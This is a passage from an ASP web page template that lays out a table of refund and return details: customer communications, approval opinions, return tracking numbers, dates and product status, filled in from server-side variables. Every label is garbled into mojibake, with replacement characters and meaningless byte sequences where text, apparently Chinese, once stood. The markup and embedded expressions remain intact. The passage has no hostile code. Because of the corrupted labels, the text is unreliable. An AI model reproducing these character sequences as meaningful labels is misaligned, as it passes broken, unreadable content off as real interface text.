align="left" colspan="5">��ͻ��ʼ���ͨ����Ҫ��Ϣ</td> <td height="20" width="600" bgcolor='#CCFFFF' align="left" colspan="5">��ע</td> </tr> <tr> <td height="20" width="600" align="left" colspan="5"> <textarea rows="20" name="S62" cols="80" style="font-size: 14; font-family: Verdana; border: 1px solid #800000" readonly="readonly"><%=KHGTXX%></textarea> </td> <td height="20" width="600" align="left" colspan="5"> <textarea rows="20" name="S63" cols="80" style="font-size: 14; font-family: Verdana; border: 1px solid #800000" readonly="readonly"><%=BZXX11%></textarea> </td> </tr> <tr> <td height="20" width="120" bgcolor='#DDDDDD' align="center">�����Ƿ�</td> <td height="20" width="120" align="left"><%=TKXX(12)%></td> <td height="20" width="120" bgcolor='#DDDDDD' align="center">������ֿ�</td> <td height="20" width="120" align="left"><%=TKXX(13)%></td> <td height="20" width="120" bgcolor='#DDDDDD' align="center">֪ͨ��������</td> <td height="20" width="120" align="center"><%=TKXX(14)%></td> <td height="20" width="120" bgcolor='#DDDDDD' align="center">�Ƿ��˻�</td> <td height="20" width="120" align="left"><%=TKXX(15)%></td> <td height="20" width="120" bgcolor='#DDDDDD' align="center">�˻����ֿ�</td> <td height="20" width="120" align="left"><%=TKXX(16)%></td> </tr> <tr> <td height="20" width="720" bgcolor='#CCFFFF' align="left" colspan="6">�������</td> <td height="20" width="120" bgcolor='#DDDDDD' align="center">�������</td> <td height="20" width="120" align="left"><%=TKXX(28)%></td> <td height="20" width="120" bgcolor='#DDDDDD' align="center">��������</td> <td height="20" width="120" align="center"><%=TKXX(29)%></td> </tr> <tr> <td height="20" width="1200" align="left" colspan="10"> <textarea rows="10" name="S66" cols="165" style="font-size: 14; font-family: Verdana; border: 1px solid #800000" readonly="readonly"><%=SPYJ%></textarea> </td> </tr> <tr> <td height="20" width="240" bgcolor='#DDDDDD' align="center" colspan="2">�ͻ������˻���ʼʱ��</td> <td height="20" width="120" align="center"><%=TKXX(17)%></td> <td height="20" width="120" bgcolor='#DDDDDD' align="center">�˻����ٺ�</td> <td height="20" width="120" align="center"><%=TKXX(18)%></td> <td height="20" width="240" bgcolor='#DDDDDD' align="center" colspan="2">ȷ���յ��˻�ʱ��</td> <td height="20" width="120" align="center"><%=TKXX(19)%></td> <td height="20" width="120" bgcolor='#DDDDDD' align="center">�˻���Ʒ״̬</td> <td height="20" width="120" align="left"><%=TKXX(21)%></td> </tr> <tr> <td height="20" width="600" bgcolor='#CCFFFF' align="left" colspan="5">ȷ���յ��˻��IJ�Ʒ���ƺ�����</td> <td height="20" width="600" bgcolor='#CCFFFF' align="left" colspan="5">�뺣��ֿͨȷ���յ��˻����ʼ���Ϣ</td> </tr> <tr> <td height="20" width="600" align="left" colspan="5"> <textarea rows="20" name="S64" cols="80" style="font-size: 14; font-family: Verdana; border: 1px solid #800000" readonly="readonly"><%=QRTHXX%></textarea> </td> <td height="20" width="600" align="left" colspan="5"> <textarea rows="20" name="S65" cols="80" style="font-size: 14; font-family: Verdana; border: 1px solid #800000" readonly="readonly"><%=HWGTXX%></textarea> </td> </tr> <tr> <td height="20" width="120" bgcolor='#DDDDDD' align="center">��ע</td> <td height="20" width="1080" align="left" colspan="9"><%=TKXX(23)%></td> </tr> </table> <% end if end if %> <%Set fs=Nothing%> </div> </body> </html>